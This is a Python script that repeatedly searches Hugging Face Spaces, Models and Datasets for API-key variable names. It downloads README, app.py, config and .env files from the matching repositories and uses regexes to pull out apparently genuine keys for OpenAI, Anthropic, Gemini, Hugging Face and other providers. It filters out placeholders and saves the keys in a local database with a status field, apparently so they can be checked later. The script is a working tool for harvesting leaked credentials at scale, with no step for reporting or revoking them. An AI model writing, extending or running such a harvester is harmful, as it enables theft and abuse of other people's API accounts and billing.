"""ETERNAL HuggingFace hunt: Spaces/Models/Datasets search → README/config scan.
Independent API lane, no token needed for public search.
"""
import os
KF_BASE = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
import hashlib
import re
import sqlite3
import sys
import time

import requests

DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
LOG = os.path.join(KF_BASE, "hf_eternal.log")
REST = 60

# search terms likely to hit leaked secrets in HF spaces READMEs/configs
QUERIES = [
    "OPENAI_API_KEY", "ANTHROPIC_API_KEY", "DASHSCOPE_API_KEY", "DEEPSEEK_API_KEY",
    "ZHIPU_API_KEY", "GLM_API_KEY", "MOONSHOT_API_KEY", "KIMI_API_KEY",
    "OPENROUTER_API_KEY", "GROQ_API_KEY", "TOGETHER_API_KEY", "FIREWORKS_API_KEY",
    "PERPLEXITY_API_KEY", "REPLICATE_API_TOKEN", "ELEVENLABS_API_KEY",
    "GEMINI_API_KEY", "GOOGLE_API_KEY", "SILICONFLOW_API_KEY", "COHERE_API_KEY",
    "HF_TOKEN", "TOGETHER_API_KEY config", "llm api key", "apikey", "api_key",
]

from key_patterns import PATTERNS

GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al", "FAKE",
           "fake", "test", "Test", "TEST", "demo", "Demo", "aaaaaaaa", "abcdef",
           "1234567890", "abcdefghij", "placehol", "Placehol", "changeme",
           "deadbeef", "fffffff", "0000000000", "INSERT", "REEMPLAZA", "AQUI")

HEADERS = {"User-Agent": "Mozilla/5.0"}


def log(msg):
    line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
    print(line, flush=True)
    with open(LOG, "a", encoding="utf-8", errors="replace") as f:
        f.write(line)


def hf_search(kind, q):
    """kind: spaces|models|datasets. Returns list of item ids."""
    try:
        r = requests.get(
            f"https://huggingface.co/api/{kind}",
            params={"search": q, "limit": 100, "full": "false"},
            headers=HEADERS, timeout=30)
        if r.status_code != 200:
            return None
        items = r.json()
        return [i.get("id", "?") for i in items[:100]]
    except Exception as e:
        log(f"  search {kind}:{q!r} error: {e}")
        return None


def fetch_files(kind, repo_id):
    """Pull README/config blobs from an HF space/model/dataset."""
    blobs = []
    files = ("README.md", "app.py", "config.json", "settings.json", ".env")
    if kind == "models":
        files = ("README.md", "config.json", "settings.json", ".env")
    for fn in files:
        try:
            u = f"https://huggingface.co/{kind}/{repo_id}/raw/main/{fn}"
            r = requests.get(u, headers=HEADERS, timeout=20)
            if r.status_code == 200 and len(r.text) < 500_000:
                blobs.append((fn, r.text))
        except Exception:
            pass
    return blobs


def extract(cur, seen, blobs, repo):
    new_n, provs = 0, {}
    for fn, text in blobs:
        for prov, rx in PATTERNS:
            for key in rx.findall(text):
                if isinstance(key, tuple):
                    key = key[0]
                if key in seen or any(g in key for g in GARBAGE) or len(key) < 30:
                    continue
                seen.add(key)
                cur.execute(
                    "INSERT INTO keys (hash, val, prov, status, found, repo) "
                    "VALUES (?,?,?,?,?,?) "
        "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
        "WHERE keys.status IN ('DEAD','ERR')",
                    (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov,
                     "NEW", "hf-eternal", f"{repo}/{fn}"))
                new_n += 1
                provs[prov] = provs.get(prov, 0) + 1
    return new_n, provs


def cycle(db):
    cur = db.cursor()
    cur.execute("SELECT val FROM keys")
    seen = {r[0] for r in cur.fetchall()}
    total, seen_repos = 0, set()
    for kind in ("spaces", "models", "datasets"):
        for q in QUERIES:
            ids = hf_search(kind, q)
            if ids is None:
                time.sleep(10)
                continue
            log(f"{kind} {q!r}: {len(ids)} results")
            for rid in ids:
                if rid in seen_repos:
                    continue
                seen_repos.add(rid)
                blobs = fetch_files(kind, rid)
                if not blobs:
                    continue
                n, provs = extract(cur, seen, blobs, rid)
                if n:
                    log(f"  {rid}: +{n} {provs}")
                    total += n
                time.sleep(1.5)
            db.commit()
    return total, len(seen_repos)


def main():
    log(f"=== HF eternal hunt START pid={__import__('os').getpid()} ===")
    db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
    db.execute("PRAGMA busy_timeout=120000")
    while True:
        try:
            n, repos = cycle(db)
            log(f"CYCLE done: scanned {repos} repos, +{n} new; resting {REST}s")
        except Exception as e:
            log(f"CYCLE ERROR: {e!r}")
        time.sleep(REST)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        sys.exit(0)